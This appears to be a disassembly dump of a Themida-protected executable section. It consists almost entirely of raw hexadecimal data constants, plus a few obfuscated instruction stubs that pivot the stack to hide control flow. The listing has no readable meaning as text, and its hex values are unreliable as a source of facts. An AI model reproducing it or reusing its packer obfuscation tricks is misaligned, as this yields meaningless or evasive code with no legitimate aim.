		dd 0A339E64Fh, 56671B11h, 76C46E17h, 1756677Eh,	0A60569F1h
		dd 0F739106Dh, 9B38BA7Fh, 94375B37h, 0E0BE5B92h, 66F4C87Ah
		dd 0DF471756h, 28AADC7Ch, 0AA1752E8h, 0D3D9752Ah, 7054F89Bh
		dd 909FBE2Eh, 6213448Ah, 0BD77E3CEh, 242FD4DEh,	3BA9EB48h
		dd 7C5BB228h, 4982D72Fh, 0E72A0274h, 59D1751h, 0A4834D28h
		dd 0AA91601h, 0A81AC90Ch, 1751B1D4h, 0D7A175Ah,	70DC7FF3h
		dd 7A5D701Ch, 15FAD162h, 0C2386C00h, 4B42EE8Bh,	21D0013Eh
		dd 62EBE18Dh, 3785DBB7h, 12B7B9E0h, 86DF8B13h, 0C759D039h
		dd 22EC86E0h, 0AA7F8481h, 0FD03903h, 0E9F84AD0h, 0BA13B310h
		dd 0D37EF739h, 52FF7670h, 0AD91C20Ch, 0F1C14DEAh, 0D975190Fh
		dd 39B316B5h, 7FD37EF7h, 0B1E8B013h, 0D782F739h, 53C3C74h
		dd 2348370Eh, 11000000h, 0E54C256Eh, 66B18B39h,	9C041756h
		dd 6D543935h, 0A0E64FEEh, 7FF739DDh, 0BF1C70DCh, 4C62h
		dd 0F7393B00h, 127ED285h, 0FC6FB4B1h, 3183DD7Eh, 1756673Bh
		dd 0D37A168Eh, 66B18B39h, 0F7311756h, 21A09385h, 0C09E2E2Bh
		dd 3969C0ACh, 0EEE6D54h, 0DB697640h, 7AFDF7F2h,	771B77DBh
		dd 0C32AA0DEh, 0C1321B82h, 0F1DCB01Ch, 0C1623E58h, 7EF73964h
		dd 0FF7670D3h, 0A2F7FE52h, 24B85DBh, 14A6F457h,	12BC6DAFh
		dd 0ED045AC2h, 5B4A2AE7h, 4810B32Eh, 77FB68B1h,	680468C4h
		dd 0F062AC36h, 0C93F3543h, 86CF116Bh, 84369CEBh, 116BC8B0h
		dd 0A9F79B03h, 6BC9211Bh, 0AF0C9411h, 26A967FDh, 0FBAED477h
		dd 0A0CBC10h, 11A12A0h,	0F56D0B7Bh, 41E508D8h, 29450CBDh
		dd 0A132DB85h, 9A5E28F9h, 26AFA90Ah, 0B025DF8Bh, 5E915F01h
		dd 0DC7F13BFh, 49930A7Ch, 505A0A9Eh, 815E9724h,	4B373933h
		dd 1E148C0Ah, 7533FDCh,	72F367A9h, 4B36ECC0h, 0ABC75F0Ah
		dd 0CEC86B07h, 4C46EA87h, 5E905E0Dh, 0B7D11BDh,	0A4B3731h
		dd 0DC701C84h, 0F5C2328Ch, 7F85D180h, 26F75BF6h, 3, 6DA5087Fh
		dd 929834EBh, 1812BE5Bh, 9D973BDCh, 1C16BA59h, 9B913DDEh
		dd 208A457h, 848E22CFh,	0AA657h, 0E9822ECFh, 32A568h, 240C8900h
		dd 0C181E189h, 4, 8704E983h, 685C240Ch,	37F2h, 56243C89h
		dd 0C681E689h, 4, 8704EE83h, 895C2434h,	86BF241Ch, 814BF209h
		dd 0C740C6EFh, 0C1DFF734h, 0CF8107E7h, 1CC532C6h, 0EA9ABB53h
		dd 0DF2978EEh, 4EC835Bh, 83242489h, 5B042404h, 24348157h
		dd 30504068h, 5208438Fh, 8BAh, 81DA0100h, 50406832h, 34FF5A30h
		dd 0C4815B24h, 4, 5F2434FFh, 4C481h, 1BE90000h,	0FDFFF9AEh
		dd 0CE722809h, 0B8BA5CC5h, 5F0CFCFh, 0E0FFC503h, 45623987h
		dd 7ED91FFh, 1D955781h,	60305549h, 6C23691Dh, 4526ACDCh
		dd 14C8115Ch, 47D0EE23h, 6CF133h, 5C1100F2h, 76094986h
		dd 5DA27378h, 7BD167C6h, 38BDA56Eh, 1AD2AD6Eh, 2164C506h
		dd 6A435BEh, 68D4DC6Fh,	97A004EBh, 88E917A5h, 0AF000005h
		dd 0D8227629h, 48B2E697h, 0C43E6A0Bh, 4AB0E495h, 993F6B08h
		dd 4BE86A18h, 0C271E51Fh, 4FF06C96h, 0CD6CE11Bh, 13A13399h
		dd 1D473719h, 6D49E06Ch, 0F5A82FE8h, 0F16B3599h, 6F19BC3Fh
		dd 17566795h, 0D5D370E8h, 66A8F6A5h, 0B9E142EFh, 0C36F0A43h
		dd 7D20539Dh, 0E495D8DEh, 680D4248h, 4BD1CBC4h,	566703F9h
		dd 9632C17h, 0EBD0034Eh, 0C80E049Ch, 9ACA882Bh,	8B61D349h
		dd 0FE1756EDh, 8AC3C566h, 1341BBEFh, 0C96386Ch,	56ECC6BEh
		dd 2A13917h, 8B27D804h,	2AE4D81h, 3B80EC52h, 0FC5206B9h
		dd 0B21EBB32h, 0F27B7DDEh, 2FB5EB47h, 56ECA79Dh, 21821A17h
		dd 56ED645Bh, 0A4D09217h, 0EBFAF59h, 7ADF34h, 6D860000h
		dd 93E549E8h, 1756669Fh, 727BE9ABh, 340E3886h, 0BF6h, 70C25800h
		dd 17565A7Ch, 51F457CFh, 154BEA6Dh, 0F23F64FCh,	2F2DF7Ch
		dd 0C969CA61h, 0CC267E97h, 37A2A997h, 0D2711DC0h, 5EF2A3D4h
		dd 0F526E900h, 268A27AAh, 3C3E674Ah, 0EC6D6BC8h, 0E4EEE14Dh
		dd 6FAC2378h, 8BE74BE6h, 0F41DB3E7h, 0F9FE5A13h, 0B4B21120h
		dd 0CE9041h, 0ED812DCEh, 76B8164Eh, 55F05300h, 104EED6Dh
		dd 5CFF9CDEh, 0BA81F6FCh, 9EAB8633h, 9A8A71FFh,	58F05C30h
		dd 0A1D1E616h, 195CA6F2h, 9DDED478h, 0E568A6F8h, 57F49834h
		dd 97C58BF7h, 0F10AA4Eh, 9EDA34h, 39830000h, 0A91B20D0h
		dd 3A2A00BFh, 0EFFD2C3h, 2496C8D2h, 1756EE50h, 9E983BA3h
		dd 0E695D95Ch, 0AB2C264Ah, 0A6CAA60Ah, 22D3000Ah, 19B818Eh
		dd 0A2D487CFh, 1756EDCAh, 0E88BC33Dh, 0F7652784h, 0D58132A0h
		dd 4C37927Bh, 3FD9B19Eh, 5A771BB6h, 5B8EB747h, 96903334h
		dd 111BB764h, 0E19D31E0h, 38303DAFh, 4F340EA5h,	0A9A35281h
		dd 0B5D97524h, 484F16h,	6D160000h, 0BCE24EEDh, 66A09426h
		dd 0E86E1756h, 7A43C4Bh, 802CD301h, 6AA478Ah, 8428C90Ch
		dd 0DBFA6AD4h, 6433A1FFh, 481145F6h, 0E74BEA6Dh, 56669E91h
		dd 0E6165417h, 51044B85h, 7A3291FDh, 340E398Eh,	1FEh, 0EE6DA700h
		dd 64E9E34Fh, 0F74919B5h, 10C53685h, 916CBD44h,	447A7DCFh
		dd 55CD12BCh, 0DF7AF3F9h, 690C4F81h, 0E56892CAh, 1CEE9834h
		dd 38116C42h, 22849F76h, 43E97837h, 3B30EA69h, 8ABC7CFh
		dd 53C91A4Ah, 0CCBA599Dh, 116B67F8h, 0B01CC136h, 9033ABDCh
		dd 0ECB25F96h, 6B8E4005h, 0D370B65Eh, 5DFC718Bh, 0C772FBF1h
		dd 5F8DC36Bh, 3A641558h, 5AE6F3D3h, 60C3184Bh, 88FC8C38h
		dd 4B082E23h, 51000001h, 1C421B6Eh, 0BC7439AEh,	0F854CC12h
		dd 0D0254FA6h, 6D3F3587h, 2AB2116Bh, 0E8FB1E07h, 69084D4Bh
		dd 9878F937h, 0ABD4F2FDh, 973B5726h, 0FA0058FBh, 606AC673h
		dd 48E04CEDh, 8CC1D606h, 7FF6438Bh, 7E127ED2h, 6F24612h
		dd 762E2398h, 5Ah, 4E276E2Fh, 44388A10h, 0B7175667h, 6CDE8C2Fh
		dd 175667C8h, 0D18F23BBh, 9A39DC1Fh, 56670CE0h,	2ECB0217h
		dd 0F3468882h, 1FB3DF7Ah, 9F33E215h, 5B89D7F3h,	0A2D2903Ah
		dd 78260F16h, 566722CAh, 82F23C17h, 0BE1D71DDh,	0EA035DC5h
		dd 0F8CBC862h, 0E9B1126Ah, 0A1C8h, 1B6E9100h, 5DAE1C42h
		dd 9012BC45h, 0CA78E76Eh, 116C42F2h, 0DDB1DD45h, 47F27B71h
		dd 0B564E913h, 435E6F19h, 0E0BE116Ch, 3DBD7374h, 545E329Eh
		dd 0B4D87425h, 3DDC1117h, 0BC899069h, 50E278E2h, 116C425Ch
		dd 0EE9437AFh, 0CBC91A1h, 0FB124CD4h, 9A89B806h, 73D37027h
		dd 0AC23F479h, 0A5C9A509h, 2ED10309h, 0E84A8882h, 0CDA673CBh
		dd 9D315D7Dh, 0D4097B35h, 78E42A84h, 0A4076BC7h, 0D72276E6h
		dd 579E500Eh, 0D97A16BAh, 62CE398Bh, 21C806CCh,	0F7E5121Eh
		dd 0BC361BBDh, 1EBF0D1Eh, 138BF053h, 0F7391E47h, 107CD083h
		dd 9A63B6B3h, 0AC45EC4h, 0D0BC10C5h, 5666CEA6h,	1AB92117h
		dd 0A6B71760h, 0A2D42A12h, 6F315DF1h, 6596E7DDh, 0AEC25A11h
		dd 14C50802h, 8A62D04Ah, 0FD116597h, 649EC665h,	9AEC40F1h
		dd 0FF125803h, 794C0CAh, 8D7723CEh, 0CAE848h, 0AF260A7h
		dd 44987527h, 0C7AB3C47h, 41F0616Bh, 3D37851Fh,	0B0FF0F9Bh
		dd 212B8B28h, 0A9A30FAEh, 73DB7726h, 85C8CF3Dh,	46E8B8D4h
		dd 9B966EDCh, 71E9FF0Fh, 576490D2h, 30E7151Eh, 4FA6085Ch
		dd 0BDF53B22h, 0E8EE4DF8h, 24EAB465h, 5A506B7h,	0B665955Bh
		dd 3C815h, 8910000h, 34EB6DA5h,	0BE5B9298h, 3BDC1812h
		dd 0BA599D97h, 3DDE1C16h, 0A4579B91h, 22CF0208h, 0A657848Eh
		dd 2ECF000Ah, 8952E982h, 0FDBB53E2h, 81460637h,	0A73694CBh
		dd 0F9EB8148h, 14EA737h, 0EA835BDAh, 24148704h,	0E689565Ch
		dd 4C681h, 0EE810000h, 4, 5C243487h, 68243489h,	4BEh, 50242C89h
		dd 0AD2F3868h, 0B40D584Ch, 2519B611h, 3FD752E6h, 724CB05h
		dd 0E8BF5715h, 816BDC3Dh, 63687CF7h, 0F6EF8134h, 4F60FB4Ah
		dd 0DD10C781h, 0F83138AAh, 58C6895Fh, 4EC81h, 24890000h
		dd 24048124h, 4, 4B11685Dh, 34890000h, 8458F24h, 5D2434FFh
		dd 8B04C483h
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5488E2
; ---------------------------------------------------------------------------
		dw 0B8CDh
		dd 5F0D599h, 0E0FFC503h, 67014C2Fh, 1610F89Eh, 1C84792Ah
		dd 44A1D7A0h, 4009534Ah, 5037F126h, 3A8005EEh, 2564FFBCh
		dd 43625DB0h, 2DB60B42h, 1BE0A619h, 0AD209EDh, 88E3CDCh
		dd 13B4C18Ch, 7027B1ECh, 17E69Bh, 86398B2h, 62B67976h
		dd 2CD71CC7h, 2ADEF3DDh, 3C73D464h, 54D9CA2Fh, 7B2DB2D4h
		dd 3320F0C5h, 0C77523Ah, 0EA80Fh, 4779C0C6h, 1BF610DBh
		dd 6DAD6E84h, 0FE8h, 66CD7F00h,	468421F6h, 0F0404683h
		dd 48013E21h, 59FB8B66h, 6B8BC181h, 0AEB20000h,	1AA8B8h
		dd 38E0F00h, 66000000h,	318BDF8Bh, 5E9h, 204F1C00h, 0F6819477h
		dd 87AEA8Fh, 12810Fh, 0DE90000h, 0A4000000h, 8DF01C83h
		dd 0CCD5E8A8h, 0B93C863Eh, 77F1C681h, 0AE9749Ah, 73000000h
		dd 53D02735h, 9FCBB91Ah, 6CC68198h, 0E81DAE00h,	13h, 6158F394h
		dd 8A38FBFFh, 0C4736E45h, 823B5FD3h, 0F9BDEE9h,	48Eh, 0D2BA6600h
		dd 51565AACh, 860Fh, 8F5A0000h,	8E0F01h, 83000000h, 814903E9h
		dd 1E8h, 13850F00h, 0B7000000h,	36E957h, 0D48B0000h, 0FBDA57D1h
		dd 0C11501B5h, 11E9D8AFh, 15000000h, 6BEF5BFEh,	0BE9585A0h
		dd 0F89187Ch, 3273BC9Fh, 0FFFF49E9h, 7ACBBEFFh,	30E5E6ACh
		dd 2F725B03h, 0DB2776D2h, 0D8558D8Dh, 5E905F0h,	0C0000000h
		dd 250CB52Ch, 0ADD8D89h, 85C705EAh, 5EA0ACDh, 5804h, 0C7FB8B66h
		dd 0EA25F585h, 5, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 958B4915h, 5EA14D9h, 7E9h
		dd 2C64BC00h, 843AB859h, 3151B5FFh, 6A05EAh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0C59896C3h
		dd 0A3B11726h, 8166FCA4h, 0FFD23EC3h, 0EA2A1995h, 6AF18B05h
		dd 1595FF00h, 8B05EA10h, 7C5AEBC0h, 0A828AFD1h,	0C1F14A7Dh
		dd 0EEBEF7F3h, 1ECB3244h, 7F678B18h, 75043090h,	1FE1D66Bh
		dd 0B9595F01h, 204D80C8h, 96B57EC5h, 0A82E8053h, 9249ACF3h
		dd 0C4E2FB79h, 0E004FD60h, 0C53ADBCCh, 90B95100h, 0B2F4022Ah
		dd 3758B9C9h, 217F3ED7h, 0B069FEB3h, 54C25789h,	0A2A439FCh
		dd 0AE8A0h, 982C0000h, 0BDACE78Bh, 0E46FE55Fh, 70D9509h
		dd 895F05EAh, 0EA2CC19Dh, 45C78105h, 0F500005Ah, 68h, 0D6B70F00h
		dd 798D015Eh, 8B05EA1Ah, 9D8B3704h, 5EA0AC9h, 578CE881h
		dd 9D23551Ah, 5EA2F51h,	0B3EEF081h, 81663224h, 811628F3h
		dd 18490AE8h, 0A8C0F2Bh, 0F000000h, 48Ch, 0FBB96600h, 37048992h
		dd 7E9h, 9504D000h, 0DD0A9967h,	28CE01B9h, 3EE832Ch, 7418D8Bh
		dd 0B54E05EAh, 48FE81DCh, 0FFFFFA6h, 0FFFF9E85h, 8D78B7FFh
		dd 0F0D9BA8Dh, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 8D0FC4CDh, 6, 1B61BD89h
		dd 8D8905EAh, 5EA0ADDh,	33FFE881h, 85C71AF6h, 5EA0ACDh
		dd 5B74h, 0F585C7F8h, 5EA25h, 8A000000h, 19B5FFF4h, 8905EA1Ch
		dd 0EA1C4D85h, 1995FF05h, 0BF05EA2Ah, 1AB9B444h, 95FF006Ah
		dd 5EA1015h, 1FEBC08Bh,	0DA80BFA8h, 1B9CDBBEh, 7C4062DCh
		dd 7DF1AEBAh, 0BE0BE099h, 3972F59Ah, 0FED82102h, 8D708C20h
		dd 0F0DA778Dh, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 26C37F10h, 2308FC35h
		dd 8BDBB70Fh, 0EA1661BDh, 0DD8D8905h, 0F05EA0Ah, 85C7F6BFh
		dd 5EA0ACDh, 709Ch, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 0FC35747h, 458D01F1h,	0C705EA11h, 0EA25F585h
		dd 5, 810F5600h, 6, 19D9B529h, 0FF5A05EAh, 0EA0071B5h
		dd 1995FF05h, 8905EA2Ah, 0EA15E995h, 0FF006A05h, 0EA101595h
		dd 0EBC08B05h, 0E190360Bh, 0AA3B0711h, 0A00CBAEAh, 8E8h
		dd 0C789C000h, 0DDCE1A36h, 5858B65h, 5E05EA2Bh,	0DF9DBF66h
		dd 589BC681h, 800F0000h, 3, 2BF8B70Fh, 0C1BF0FDBh, 663334FFh
		dd 159F88Bh, 0EA1EF98Dh, 0F4E98105h, 292D23BCh,	0EA0D9195h
		dd 0FF18105h, 0E9711C9Ah, 0Ah, 6122946Fh, 0D040E661h, 0C1812B12h
		dd 6B9A5650h, 0C89C38Bh, 13E91Eh
		db 2 dup(0), 3
byte_5AE55B	db 69h			; DATA XREF: Themida_:0054BF0Co
		dd 0CAE63B43h, 0DF06C15Ah, 21DA2582h, 2C2FEC80h, 25BBBA7Ah
		dd 0EB834EF3h, 4B4B4B01h, 0F4FB81F5h, 0FFFFFA7h, 0FFFF9785h
		dd 33C480FFh, 0DC268D8Dh, 6A05F0h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 0FCE46AC3h, 8B5BDE29h
		dd 0EA254595h, 0DD8D8905h, 0F805EA0Ah, 0ACD85C7h, 5C2405EAh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0B6CA6C3h, 0DCD24DCAh, 0DF81AB8Bh, 3892890Ah
		dd 25F585C7h, 5EAh, 0E8510000h,	7, 0D5BB694Bh, 0E9700EBDh
		dd 0Bh,	57D8C07Ch, 758D970Bh, 5F17367Ah, 0B70F525Ah, 0B5FF58D0h
		dd 5EA1C19h, 12E8h, 0D5B30600h,	0A3F1BC65h, 87D56564h
		dd 2CF88AEDh, 0F23AC8Dh, 0FF5EC0BFh, 0EA2A1995h, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 8A16F884h, 1D4676F3h, 8589C223h, 5EA116Dh, 0C890Fh
		dd 8E0F0000h, 6, 0C01B58Bh, 8D8905EAh, 5EA1A6Dh, 95FF006Ah
		dd 5EA1015h, 1FEBC08Bh,	0B7A34AB7h, 9A06C209h, 993FD52Dh
		dd 0C8C7CB2h, 76B3B9F2h, 0E281F606h, 81FC7C02h,	0C6AE0CA8h
		dd 0EA1A4585h, 0DF685605h, 0FFA9C530h, 0EA238DB5h, 0A0858D05h
		dd 0FF05EDAFh, 998D8DD0h, 5105EA32h, 0B5FF406Ah, 5EA0C05h
		dd 132DB5FFh, 0D0FF05EAh, 0C05B5FFh, 0B5FF05EAh, 5EA132Dh
		dd 12E8h, 6F976D00h, 9556F446h,	6A37F501h, 7CCC7356h, 5B595286h
		dd 4EB835Bh, 2242CC1h, 22424C1h, 0F7241C03h, 0BA241Ch
		dd 8B000000h, 0C781133Ch, 244B4EF0h, 0D7DEEF81h, 0F78178CCh
		dd 74B14F5Ch, 13048F57h, 4A03EA83h, 0F24143Bh, 0E85h, 18E900h
		dd 130D0000h, 0DDC13388h, 0E90C868Eh, 0FFFFFFC7h, 0A781357Dh
		dd 4C1DF96Dh, 9D8D2234h, 5EA17DDh, 0C00B038Bh, 7840Fh
		dd 38B0000h, 89045B8Bh,	0E9C98B18h, 15Fh, 60D48B52h, 0E8h
		dd 0ED815D00h, 5F0DD20h, 3D08428Bh, 78263845h, 138850Fh
		dd 428B0000h, 184A8B0Ch, 19BBC8D3h, 3397CD11h, 4E883C3h
		dd 0ADD8589h, 588B05EAh, 8BF88B04h, 4A8B1042h, 0BEC8D318h
		dd 0FBDB6045h, 0C72BC633h, 83FCE083h, 858904E8h, 5EA0ACDh
		dd 8914428Bh, 0EA25F585h, 18428B05h, 0B0E953h, 0B5FF0000h
		dd 5EA2CBDh, 0B9E9h, 71B5FF00h,	0E905EA00h, 0AEh, 0C29B5FFh
		dd 0A3E905EAh, 0FF000000h, 0EA1189B5h, 98E905h,	0B5FF0000h
		dd 5EA2581h, 8DE9h, 0C9B5FF00h,	0E905EA1Bh, 82h, 1551B5FFh
		dd 77E905EAh, 0FF000000h, 0EA0BFDB5h, 6CE905h, 0B5FF0000h
		dd 5EA0BF5h, 61E9h, 0ADB5FF00h,	0E905EA2Eh, 56h, 0E95B5FFh
		dd 4BE905EAh, 0FF000000h, 0EA0C71B5h, 40E905h, 0B5FF0000h
		dd 5EA003Dh, 35E9h, 19B5FF00h, 0E905EA1Ch, 2Ah,	0D95B5FFh
		dd 1FE905EAh, 0FF000000h, 0EA3151B5h, 14E905h, 0D88B0000h
		dd 0BB8h, 0E3F76600h, 0DD818D8Dh, 0C80305F0h, 95FFE1FFh
		dd 5EA2A19h, 0DD858B5Bh, 3905EA0Ah, 850F0458h, 0Fh, 0FF016A53h
		dd 0EA101595h, 0E2E95B05h, 61FFFFFFh, 5A61C35Ah, 0D4C96AB8h
		dd 8BE0FF77h, 0EA0C6985h, 6F8D8D05h, 8905F0DEh,	0C38B0141h
		dd 0DF1F8D8Dh, 0DB8105F0h, 139A9BDAh, 0ADD8D89h, 816605EAh
		dd 0C7DE6FC0h, 0EA0ACD85h, 6E9405h, 4D858B00h, 0F05EA2Ah
		dd 85C7F0BFh, 5EA25F5h,	0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 8AC35545h
		dd 0CEE74DD1h, 5F3D36E0h, 0FFFE8B66h, 0EA0C71B5h, 53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 5B7821A2h, 0BF0F8CD1h, 1995FFF8h, 2B05EA2Ah,	0EA1571BDh
		dd 0FF006A05h, 0EA101595h, 0EBC08B05h, 1CE2635Eh, 0D6A31B61h
		dd 7AF03309h, 336C8E63h, 21E24685h, 4EC4C038h, 6B965D70h
		dd 93E10279h, 260626F2h, 54223952h, 8BCD429Ch, 75AB5BFAh
		dd 0A30FDD48h, 637402AAh, 71404DA0h, 0CDD1F8Dh,	0EB84744Dh
		dd 17758875h, 0A0882A36h, 0EBAA02F8h, 0E6CDFFE3h, 4E102624h
		dd 8D669244h, 0E99A4ECEh, 0ABh,	3F2E8D50h, 5F72B11Ch, 0A7ACABDAh
		dd 4592B395h, 0B395A1F4h, 0ECABDA00h, 915D20A7h, 0B1F46BB2h
		dd 20752096h, 6BB79B55h, 92A5BCF2h, 7594A196h, 0B799603Ah
		dd 99BD329Fh, 9CB2E9B5h, 0A3F292A5h, 0EF7695ACh, 4E0097B1h
		dd 9FA5B4F9h, 7B6B5C00h, 8A924AF0h, 0F352D000h,	0F653F545h
		dd 0D6D979A3h, 0E3AFF144h, 7D41F445h, 92B000D7h, 756BBF97h
		dd 0BFCF60FDh, 93BCF996h, 207D20B2h, 0ABF79B57h, 9EBD9492h
		dd 9DBCE3B2h, 899BE0CEh, 8F9D728Fh, 0B4EEA9FDh,	0E1B6F66Dh
		dd 0ED7293BCh, 0E80097B3h, 94E7A601h, 183323Dh,	0E9726056h
		dd 13E0h, 0F0E23168h, 9E38E905h, 5668FFF9h, 0E905F0E3h
		dd 0FFF99E2Eh, 0F0E48A68h, 9E24E905h, 0E568FFF9h, 0E905F0E5h
		dd 0FFF99E1Ah, 0F0E67A68h, 9E10E905h, 2968FFF9h, 0E905F0E7h
		dd 0FFF99E06h, 0F0E7D168h, 9DFCE905h, 8268FFF9h, 0E905F0E8h
		dd 0FFF99DF2h, 0F0E93268h, 9DE8E905h, 0A568FFF9h, 0E905F0EAh
		dd 0FFF99DDEh, 0F0EBE168h, 9DD4E905h, 0A368FFF9h, 0E905F0EDh
		dd 0FFF99DCAh, 0F0EEE368h, 9DC0E905h, 9C68FFF9h, 0E905F0F0h
		dd 0FFF99DB6h, 0F0F1C568h, 9DACE905h, 30A0FFF9h, 0AE21DB8Fh
		dd 32A15B0Fh, 0AC2DD783h, 2FA3590Dh, 0FF7ED88Ch, 0F4A05387h
		dd 7F2BC80Eh, 0F4A05785h, 7E2AC70Eh, 0F446D4h, 731D4747h
		dd 8548A1FFh, 0B1DC2C1Ah, 6D7ADF7Ch, 5A3208E8h,	7FCB9F9Fh
		dd 84999321h, 74EC1756h, 37BEB418h, 905EC49Ah, 711DB162h
		dd 56842D07h, 0BB188017h, 360F1AE3h, 8633A668h,	0B7E5462Ah
		dd 0BC92DA05h, 0A874AD12h, 93AC115Eh, 78195C56h, 7CE6B814h
		dd 6D30F6CEh, 72D14911h, 6D313808h, 9ECE8011h, 2507A157h
		dd 31ED2Eh, 39B40000h, 74D782F7h, 35D2871h, 0BC489AB1h
		dd 19B52D12h, 95448947h, 0B6255BB8h, 54F70847h,	6BB65A2Eh
		dd 7CE8A611h, 23888771h, 0E6F72Eh, 6DAE0000h, 0EFE549E8h
		dd 8A27AE6Bh, 1C51B8E6h, 81DA723h, 0A4AE0EADh, 2C00B231h
		dd 9F1756B8h, 0AF356B07h, 56B8271Dh, 0A1029A17h, 17C20B01h
		dd 1D47A049h, 2D9085A2h, 2750D68Eh, 0A717572Dh,	34DD832Eh
		dd 0ABE1BF18h, 0BC3D37C4h, 7EDDB11Dh, 0F899DC26h, 714C5D54h
		dd 8F29D2Fh, 1D8512BDh,	9C69B049h, 4B4B70C2h, 66FE0CD1h
		dd 114BA238h, 0E3B8B81Bh, 1D4E2650h, 5FA10B80h,	0BBD77B16h
		dd 0FB9ADDD7h, 96C40A58h, 74BB1E5h, 0B01CC132h,	4383B0DCh
		dd 0D7E82A28h, 113AAE7Fh, 1C5C0000h, 0A2D52F7Bh, 1E5DA7F3h
		dd 0A0D12B7Fh, 1B5FA5F1h, 0B8A2C78h, 1044F77Bh,	0E3B764EAh
		dd 7024DB19h, 0C296438Ah, 7448FA68h, 0C71D4749h, 0F739E24Bh
		dd 107CD083h, 9645B5B3h, 44F66CC2h, 17566770h, 0FEF85BC3h
		dd 0D78EDA77h, 0B182F739h, 5CF09C43h, 83969330h, 3D56E4BAh
		dd 0F012BC49h, 4529CE0Eh, 0F979B7E9h, 7418B93Ch, 37DBADD7h
		dd 7B25116Ch, 385953E1h, 34AC116Ch, 5EA7D597h, 2E240AAAh
		dd 0DEDAh, 0E86D8300h, 96D91749h, 84274BE7h, 0FAC2E24h
		dd 0FE5A9F51h, 8C2156A8h, 0D67A16F6h, 0CA423A88h, 2DB51756h
		dd 6B7C6C41h, 0CAA940DDh, 5997C969h, 2FCC021Bh,	2F83EF83h
		dd 6D9AE043h, 7D175715h, 0F70D59F8h, 0D45D927Eh, 4E22A264h
		dd 72878E22h, 0BDA3D4EAh, 0B8D4C126h, 3BB27CE6h, 0B8473D9Eh
		dd 6212BD04h, 6892418Bh, 0E4470EABh, 0FD53079Fh, 0A7DFD567h
		dd 0CA52116Ch, 401D6C69h, 0FDB8AC1Eh, 0AC620CD0h, 4C208C2Dh
		dd 520C94EFh, 0E9BD5E9Ch, 0F3CDF13h, 0E82A78D9h, 1554852Dh
		dd 3B000010h, 0AC5602B5h, 24DE8A2Bh, 0A85206B7h, 26DC8829h
		dd 0F55307B4h, 2FCC0E74h, 0AE4D817Bh, 23D400FAh, 0A9488D77h
		dd 77C557FDh, 1D474A7Dh, 39D57CF0h, 7FD37EF7h, 44B6B013h
		dd 0B439C397h, 39085105h, 70D37EF7h, 0C534FF76h, 0CF267814h
		dd 574BE1E0h, 9220FE4Dh, 0A9D401A9h, 0CCC666C5h, 0A94E8E89h
		dd 51056905h, 2B7528ABh, 6CC077E5h, 0B085E941h,	98F4074Ch
		dd 0BC59B3Bh, 0AA872BC6h, 2FE1B808h, 0ADA7CB99h, 4F238F2Eh
		dd 0B663EAECh, 8D8151E2h, 0EE5C1143h, 17573716h, 3E9DF169h
		dd 4917EE3Bh, 0BD4D40FBh, 0F5AB3312h, 0AC992D1Ch, 9C3F8093h
		dd 0F042D84Ah, 116D3FFCh, 0B418BD32h, 9437AFD8h, 0F33119EEh
		dd 488B45DAh, 12FDAFD4h, 0E622B9Ah, 8461A8ADh, 0DD0A33DAh
		dd 5349BFFDh, 0F638A2F0h, 9FDCD683h, 9D3E52FEh,	487A64E7h
		dd 238F1715h, 9C3FB37Dh, 16EF3A3Fh, 0CAA6FA48h,	41D90F5Dh
		dd 3D37851Fh, 0B00E0AB8h, 43D98B28h, 0B8916BD9h, 7CE40E0Ah
		dd 0D794D9DFh, 5127D619h, 0E0AB85Bh, 0E5A36AEh,	0E3D081F4h
		dd 0E59F8DBFh, 0E1B263CBh, 0E700000Eh, 609ACE71h, 0E01A4EEFh
		dd 6C96C273h, 0E2184CEDh, 3197C370h, 0D380F2B0h, 5AF97D87h
		dd 0D788F40Eh, 45F47983h, 9B29BB11h, 1D474AA1h,	6D319814h
		dd 0BBE549E8h, 66999321h, 46EC1756h, 566600F4h,	87EB7317h
		dd 0DD82124h, 7252E153h, 1BE512BCh, 0E08C20D3h,	0D9B56AEAh
		dd 5825748Dh, 412FB406h, 1A820CD2h, 0C2E7AD44h,	0F0CB18CAh
		dd 77DB78FAh, 6E18B81Bh, 0B81F59Ah, 313CA8E6h, 2839C747h
		dd 6EB7h, 1B6EEE00h, 9CD21C42h,	14A1A5BEh, 4D21A159h, 50878DE1h
		dd 0CE6D01ADh, 0E3792E9Ch, 148C12BCh, 0A758844Ah, 1B2D10F9h
		dd 0F509C494h, 0D6FB65D7h, 0DF818679h, 6D3E976Dh, 0D172EA11h
		dd 65E92789h, 0D5761AB6h, 6D3DDBAFh, 731E5711h,	0F89FDD27h
		dd 36E768A6h, 0A56B3595h, 0F8258635h, 0DFCh, 0B95A9856h
		dd 2FCF3815h, 624AAADAh, 6E08AD0Eh, 0AE1C421Bh,	12A686F8h
		dd 0FC19F07h, 857F2BC6h, 31FFA150h, 12B211C0h, 69370E1Bh
		dd 0E1DB69F3h, 29116586h, 1981F6A5h, 0D96DC0BAh, 44DC0CB5h
		dd 0C2A1D41Ah, 74A77C70h, 3B57CF0Bh, 0B160956Fh, 3805141Dh
		dd 0AA87D466h, 9D5306DAh, 67CAFA5Ah, 0D0220E43h, 0DF7C10BCh
		dd 0E50F3CA4h, 39EE1F66h, 0D864091h, 48880000h,	0B639C397h
		dd 2AA95307h, 0B425DF8Bh, 27AB5105h, 7862074h, 0C58FB7Fh
		dd 87D380F6h, 0C58FF7Dh, 86D27FF6h, 380CBE2Ch, 8B1D474Ch
